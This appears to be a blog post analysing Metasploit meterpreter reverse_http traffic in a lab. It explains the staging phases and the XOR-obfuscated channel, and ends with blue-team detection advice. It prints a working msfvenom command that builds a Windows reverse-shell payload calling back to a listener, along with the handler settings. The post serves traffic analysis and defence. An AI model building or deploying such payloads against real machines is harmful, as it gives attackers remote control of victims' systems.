Before reading note: for practical reasons (time consuming) not all the printscreen shots have been made with same settings (ip addresses mainly i used once 192.168.150.196 and sometimes 192.168.1.71)
For tests i created a simple reverse_http meterpreter build with the following commands (32 bits simple http reverse) :
/usr/bin/msfvenom –platform Windows -a x86 -p windows/meterpreter/reverse_http lport=80 lhost=192.168.150.196 -f exe -o payload32_noenc_80.exe
If you strings on it you find 1) the User-Agent 2) the URL 3) the host to connect to
If you generate the same payload but in RAW format (-f raw), it’s even more obvious
Starting the MSF on my kali I used the following commands
set PAYLOAD windows/x64/meterpreter/reverse_https
set LPORT 443
set LHOST 192.168.1.71
Overall we have 4 phases
- Phase 1) an exploit is fired on the device (the stager, here in our case a windows x86 reverse_http)
- Phase 2) the stager connects back to the MSF on a specific URL via HTTP
- Phase 3) the MSF recognises a new session and sends the meterpreter dll to the device in clear
- Phase 4) the stager load the meterpreter in memory and execute it. From then on, a secure command and control channel is negotiated back to the MSF
The initial connection from the client to the MSF looks like the communication is always using the same URI
We can see the metsrv.DLL in clear (we recognize the header of the file (MZ, DOS Segment, PE) Additional reference ( https://fr.wikipedia.org/wiki/Portable_Executable#/media/Fichier:PE_Edit.PNG ) (on server the files are metsrv.x86.dll and metsrv.x64.dll)
A simple way to extract the dll from the pcap is to use foremost -i meterpreter.pcap
We can see a second session created by the device to the MSF
Traffic capture of keep alive between meterpreter and the controlled machine
The real first data comming out from the MSF to the device look to be encrypted
After some good reading of posts and forums this encryption is a simple inline XOR with the key in the first 8 bytes. I took the value of the Data from Wireshark and applied a XOR on it with the first 8 bytes as key.
We can see the core_negotiate_tlv_encryption command with the public key of the MSF been sent to the device.
From there on, each communication will be encrypted with the same XOR mecanism + Device will encrypt using the MSF public key, and the MSF will encrypt for the device public key. The keys are not static and are generated for each session. Making nearly impossible to decrypt except if you a active MITM system which would allow decryption.
Advice for Blue Team
In my example i have used http and not https for ease of decoding for this post.
My learning from this, if you want to catch meterpreter session you need to
- Implement SSL interception ( for all URL Categories … yes too easy to fake a web site been taggued as Financial or Health ).
- Enable Anti-virus which will then normally recognized the meterpreter DLL loaded in Phase 2.
- Or best, enable file blocking against PE files. (If you have a PaloAlto Firewall no performance change, but if you have a Fortinet be carefull your throughput will drastically decrease (check it up before implementing )).
This article has a Part 2 here
Since publishing MSF is now running version 6. New article on this as things are different in that version
References documents/tools I have read/used and have helped me: